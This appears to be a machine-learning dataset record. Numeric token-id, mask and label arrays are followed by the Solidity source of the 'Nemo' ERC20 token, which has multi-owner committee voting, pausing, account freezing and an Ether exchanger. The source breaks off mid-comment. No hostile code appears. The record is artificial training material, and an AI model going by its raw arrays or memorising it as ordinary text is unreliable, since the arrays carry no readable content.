0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1435,
1071,
288,
203,
3639,
508,
273,
315,
21453,
4586,
9458,
1359,
14432,
203,
3639,
3273,
273,
315,
6997,
3865,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
2130,
12648,
12648,
2787,
31,
203,
540,
203,
3639,
324,
26488,
63,
3576,
18,
15330,
65,
273,
2130,
12648,
12648,
2787,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
1234,
18,
15330,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.4;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title MultiOwnable
*
* @dev Require majority approval of multiple owners to use and access to features
* when restrictions on access to critical functions are required.
*
*/
contract MultiOwnable {
using SafeMath for uint8;
struct CommitteeStatusPack{
/**
* Key informations for decisions.
* To save some gas, choosing the struct.
*/
uint8 numOfOwners;
uint8 numOfVotes;
uint8 numOfMinOwners;
bytes proposedFuncData;
}
CommitteeStatusPack public committeeStatus;
address[] public ballot; // To make sure if it already was voted
mapping(address => bool) public owner;
event Vote(address indexed proposer, bytes indexed proposedFuncData);
event Propose(address indexed proposer, bytes indexed proposedFuncData);
event Dismiss(address indexed proposer, bytes indexed proposedFuncData);
event AddedOwner(address newOwner);
event RemovedOwner(address removedOwner);
event TransferOwnership(address from, address to);
/**
* Organize initial committee.
*
* @notice committee must be 3 at least.
* you have to use this contract to be inherited because it is internal.
*
* @param _coOwner1 _coOwner2 _coOwner3 _coOwner4 _coOwner5 committee members
*/
constructor(address _coOwner1, address _coOwner2, address _coOwner3, address _coOwner4, address _coOwner5) internal {
require(_coOwner1 != address(0x0) &&
_coOwner2 != address(0x0) &&
_coOwner3 != address(0x0) &&
_coOwner4 != address(0x0) &&
_coOwner5 != address(0x0));
require(_coOwner1 != _coOwner2 &&
_coOwner1 != _coOwner3 &&
_coOwner1 != _coOwner4 &&
_coOwner1 != _coOwner5 &&
_coOwner2 != _coOwner3 &&
_coOwner2 != _coOwner4 &&
_coOwner2 != _coOwner5 &&
_coOwner3 != _coOwner4 &&
_coOwner3 != _coOwner5 &&
_coOwner4 != _coOwner5); // SmartDec Recommendations
owner[_coOwner1] = true;
owner[_coOwner2] = true;
owner[_coOwner3] = true;
owner[_coOwner4] = true;
owner[_coOwner5] = true;
committeeStatus.numOfOwners = 5;
committeeStatus.numOfMinOwners = 5;
emit AddedOwner(_coOwner1);
emit AddedOwner(_coOwner2);
emit AddedOwner(_coOwner3);
emit AddedOwner(_coOwner4);
emit AddedOwner(_coOwner5);
}
modifier onlyOwner() {
require(owner[msg.sender]);
_;
}
/**
* Pre-check if it's decided by committee
*
* @notice If there is a majority approval,
* the function with this modifier will not be executed.
*/
modifier committeeApproved() {
/* check if proposed Function Name and real function Name are correct */
require( keccak256(committeeStatus.proposedFuncData) == keccak256(msg.data) ); // SmartDec Recommendations
/* To check majority */
require(committeeStatus.numOfVotes > committeeStatus.numOfOwners.div(2));
_;
_dismiss(); //Once a commission-approved proposal is made, the proposal is initialized.
}
/**
* Suggest the functions you want to use.
*
* @notice To use some importan functions, propose function must be done first and voted.
*/
function propose(bytes memory _targetFuncData) onlyOwner public {
/* Check if there're any ongoing proposals */
require(committeeStatus.numOfVotes == 0);
require(committeeStatus.proposedFuncData.length == 0);
/* regist function informations that proposer want to run */
committeeStatus.proposedFuncData = _targetFuncData;
emit Propose(msg.sender, _targetFuncData);
}
/**
* Proposal is withdrawn
*
* @notice When the proposed function is no longer used or deprecated,
* proposal is discarded
*/
function dismiss() onlyOwner public {
_dismiss();
}
/**
* Suggest the functions you want to use.
*
* @notice 'dismiss' is executed even after successfully executing the proposed function.
* If 'msg.sender' want to pass permission, he can't pass the 'committeeApproved' modifier.
* internal functions are required to enable this.
*/
function _dismiss() internal {
emit Dismiss(msg.sender, committeeStatus.proposedFuncData);
committeeStatus.numOfVotes = 0;
committeeStatus.proposedFuncData = "";
delete ballot;
}
/**
* Owners vote for proposed item
*
* @notice if only there're proposals, 'vote' is processed.
* the result must be majority.
* one ticket for each owner.
*/
function vote() onlyOwner public {
// Check duplicated voting list.
uint length = ballot.length; // SmartDec Recommendations
for(uint i=0; i<length; i++) // SmartDec Recommendations
require(ballot[i] != msg.sender);
//onlyOnwers can vote, if there's ongoing proposal.
require( committeeStatus.proposedFuncData.length != 0 );
//Check, if everyone voted.
//require(committeeStatus.numOfOwners > committeeStatus.numOfVotes); // SmartDec Recommendations
committeeStatus.numOfVotes++;
ballot.push(msg.sender);
emit Vote(msg.sender, committeeStatus.proposedFuncData);
}
/**
* Existing owner transfers permissions to new owner.
*
* @notice It transfers authority to the person who was not the owner.
* Approval from the committee is required.
*/
function transferOwnership(address _newOwner) onlyOwner committeeApproved public {
require( _newOwner != address(0x0) ); // callisto recommendation
require( owner[_newOwner] == false );
owner[msg.sender] = false;
owner[_newOwner] = true;
emit TransferOwnership(msg.sender, _newOwner);
}
/**
* Add new Owner to committee
*
* @notice Approval from the committee is required.
*
*/
function addOwner(address _newOwner) onlyOwner committeeApproved public {
require( _newOwner != address(0x0) );
require( owner[_newOwner] != true );
owner[_newOwner] = true;
committeeStatus.numOfOwners++;
emit AddedOwner(_newOwner);
}
/**
* Remove the Owner from committee
*
* @notice Approval from the committee is required.
*
*/
function removeOwner(address _toRemove) onlyOwner committeeApproved public {
require( _toRemove != address(0x0) );
require( owner[_toRemove] == true );
require( committeeStatus.numOfOwners > committeeStatus.numOfMinOwners ); // must keep Number of Minimum Owners at least.
owner[_toRemove] = false;
committeeStatus.numOfOwners--;
emit RemovedOwner(_toRemove);
}
}
contract Pausable is MultiOwnable {
event Pause();
event Unpause();
bool internal paused;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
modifier noReentrancy() {
require(!paused);
paused = true;
_;
paused = false;
}
/* When you discover your smart contract is under attack, you can buy time to upgrade the contract by
immediately pausing the contract.
*/
function pause() public onlyOwner committeeApproved whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner committeeApproved whenPaused {
paused = false;
emit Unpause();
}
}
/**
* Contract Managing TokenExchanger's address used by ProxyNemodax
*/
contract RunningContractManager is Pausable {
address public implementation; //SmartDec Recommendations
event Upgraded(address indexed newContract);
function upgrade(address _newAddr) onlyOwner committeeApproved external {
require(implementation != _newAddr);
implementation = _newAddr;
emit Upgraded(_newAddr); // SmartDec Recommendations
}
/* SmartDec Recommendations
function runningAddress() onlyOwner external view returns (address){
return implementation;
}
*/
}
/**
* NemoLab ERC20 Token
* Written by Shin HyunJae
* version 12
*/
contract TokenERC20 is RunningContractManager {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
/* This creates an array with all balances */
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
//mapping (address => bool) public frozenAccount; // SmartDec Recommendations
mapping (address => uint256) public frozenExpired;
//bool private initialized = false;
bool private initialized; // SmartDec Recommendations
/**
* This is area for some variables to add.
* Please add variables from the end of pre-declared variables
* if you would have added some variables and re-deployed the contract,
* tokenPerEth would get garbage value. so please reset tokenPerEth variable
*
* uint256 something..;
*/
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
event LastBalance(address indexed account, uint256 value);
// This notifies clients about the allowance of balance
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
// event Burn(address indexed from, uint256 value); // callisto recommendation
// This notifies clients about the freezing address
//event FrozenFunds(address target, bool frozen); // callisto recommendation
event FrozenFunds(address target, uint256 expirationDate); // SmartDec Recommendations
/**
* Initialize Token Function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function initToken(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _initialSupply,
address _marketSaleManager,
address _serviceOperationManager,
address _dividendManager,
address _incentiveManager,
address _reserveFundManager
) internal onlyOwner committeeApproved {
require( initialized == false );
require(_initialSupply > 0 && _initialSupply <= 2**uint256(184)); // [2019.03.05] Fixed for Mythril Vulerablity SWC ID:101 => _initialSupply <= 2^184 <= (2^256 / 10^18)
name = _tokenName; // Set the name for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
//totalSupply = convertToDecimalUnits(_initialSupply); // Update total supply with the decimal amount
/*balances[msg.sender] = totalSupply; // Give the creator all initial tokens
emit Transfer(address(this), address(0), totalSupply);
emit LastBalance(address(this), 0);
emit LastBalance(msg.sender, totalSupply);*/
// SmartDec Recommendations
uint256 tempSupply = convertToDecimalUnits(_initialSupply);
uint256 dividendBalance = tempSupply.div(10); // dividendBalance = 10%
uint256 reserveFundBalance = dividendBalance; // reserveFundBalance = 10%
uint256 marketSaleBalance = tempSupply.div(5); // marketSaleBalance = 20%
uint256 serviceOperationBalance = marketSaleBalance.mul(2); // serviceOperationBalance = 40%
uint256 incentiveBalance = marketSaleBalance; // incentiveBalance = 20%
balances[_marketSaleManager] = marketSaleBalance;
balances[_serviceOperationManager] = serviceOperationBalance;
balances[_dividendManager] = dividendBalance;
balances[_incentiveManager] = incentiveBalance;
balances[_reserveFundManager] = reserveFundBalance;
totalSupply = tempSupply;
emit Transfer(address(0), _marketSaleManager, marketSaleBalance);
emit Transfer(address(0), _serviceOperationManager, serviceOperationBalance);
emit Transfer(address(0), _dividendManager, dividendBalance);
emit Transfer(address(0), _incentiveManager, incentiveBalance);
emit Transfer(address(0), _reserveFundManager, reserveFundBalance);
emit LastBalance(address(this), 0);
emit LastBalance(_marketSaleManager, marketSaleBalance);
emit LastBalance(_serviceOperationManager, serviceOperationBalance);
emit LastBalance(_dividendManager, dividendBalance);
emit LastBalance(_incentiveManager, incentiveBalance);
emit LastBalance(_reserveFundManager, reserveFundBalance);
assert( tempSupply ==
marketSaleBalance.add(serviceOperationBalance).
add(dividendBalance).
add(incentiveBalance).
add(reserveFundBalance)
);
initialized = true;
}
/**
* Convert tokens units to token decimal units
*
* @param _value Tokens units without decimal units
*/
function convertToDecimalUnits(uint256 _value) internal view returns (uint256 value) {
value = _value.mul(10 ** uint256(decimals));
return value;
}
/**
* Get tokens balance
*
* @notice Query tokens balance of the _account
*
* @param _account Account address to query tokens balance
*/
function balanceOf(address _account) public view returns (uint256 balance) {
balance = balances[_account];
return balance;
}
/**
* Get allowed tokens balance
*
* @notice Query tokens balance allowed to _spender
*
* @param _owner Owner address to query tokens balance
* @param _spender The address allowed tokens balance
*/
function allowance(address _owner, address _spender) external view returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
return remaining;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint256 _value) internal {
require(_to != address(0x0)); // Prevent transfer to 0x0 address.
require(balances[_from] >= _value); // Check if the sender has enough
if(frozenExpired[_from] != 0 ){ // Check if sender is frozen
require(block.timestamp > frozenExpired[_from]);
_unfreezeAccount(_from);
}
if(frozenExpired[_to] != 0 ){ // Check if recipient is frozen
require(block.timestamp > frozenExpired[_to]);
_unfreezeAccount(_to);
}
uint256 previousBalances = balances[_from].add(balances[_to]); // Save this for an assertion in the future
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
emit LastBalance(_from, balances[_from]);
emit LastBalance(_to, balances[_to]);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
}
/**
* Transfer tokens
*
* @notice Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public noReentrancy returns (bool success) {
_transfer(msg.sender, _to, _value);
success = true;
return success;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public noReentrancy returns (bool success) {
require(_value <= allowed[_from][msg.sender]); // Check allowance
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
success = true;
return success;
}
/**
* Internal approve, only can be called by this contract
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function _approve(address _spender, uint256 _value) internal returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
success = true;
return success;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public noReentrancy returns (bool success) {
success = _approve(_spender, _value);
return success;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/// @notice `freeze? Prevent` `target` from sending & receiving tokens
/// @param target Address to be frozen
function freezeAccount(address target, uint256 freezeExpiration) onlyOwner committeeApproved public {
frozenExpired[target] = freezeExpiration;
//emit FrozenFunds(target, true);
emit FrozenFunds(target, freezeExpiration); // SmartDec Recommendations
}
/// @notice `freeze? Allow` `target` from sending & receiving tokens
/// @notice if expiration date was over, when this is called with transfer transaction, auto-unfreeze is occurred without committeeApproved
/// the reason why it's separated from wrapper function.
/// @param target Address to be unfrozen
function _unfreezeAccount(address target) internal returns (bool success) {
frozenExpired[target] = 0;
//emit FrozenFunds(target, false);
emit FrozenFunds(target, 0); // SmartDec Recommendations
success = true;
return success;
}
/// @notice _unfreezeAccount wrapper function.
/// @param target Address to be unfrozen
function unfreezeAccount(address target) onlyOwner committeeApproved public returns(bool success) {
success = _unfreezeAccount(target);
return success;
}
}
/**
* @title TokenExchanger
* @notice This is for exchange between Ether and 'Nemo' token
* It won't be needed after being listed on the exchange.
*/
contract TokenExchanger is TokenERC20{
using SafeMath for uint256;
uint256 internal tokenPerEth;
bool public opened;
event ExchangeEtherToToken(address indexed from, uint256 etherValue, uint256 tokenPerEth);
event ExchangeTokenToEther(address indexed from, uint256 etherValue, uint256 tokenPerEth);
event WithdrawToken(address indexed to, uint256 value);
event WithdrawEther(address indexed to, uint256 value);
event SetExchangeRate(address indexed from, uint256 tokenPerEth);
constructor(address _coOwner1,
address _coOwner2,
address _coOwner3,
address _coOwner4,
address _coOwner5)
MultiOwnable( _coOwner1, _coOwner2, _coOwner3, _coOwner4, _coOwner5) public { opened = true; }
/**
* Initialize Exchanger Function
*
* Initialize Exchanger contract with tokenPerEth
* and Initialize NemoCoin by calling initToken
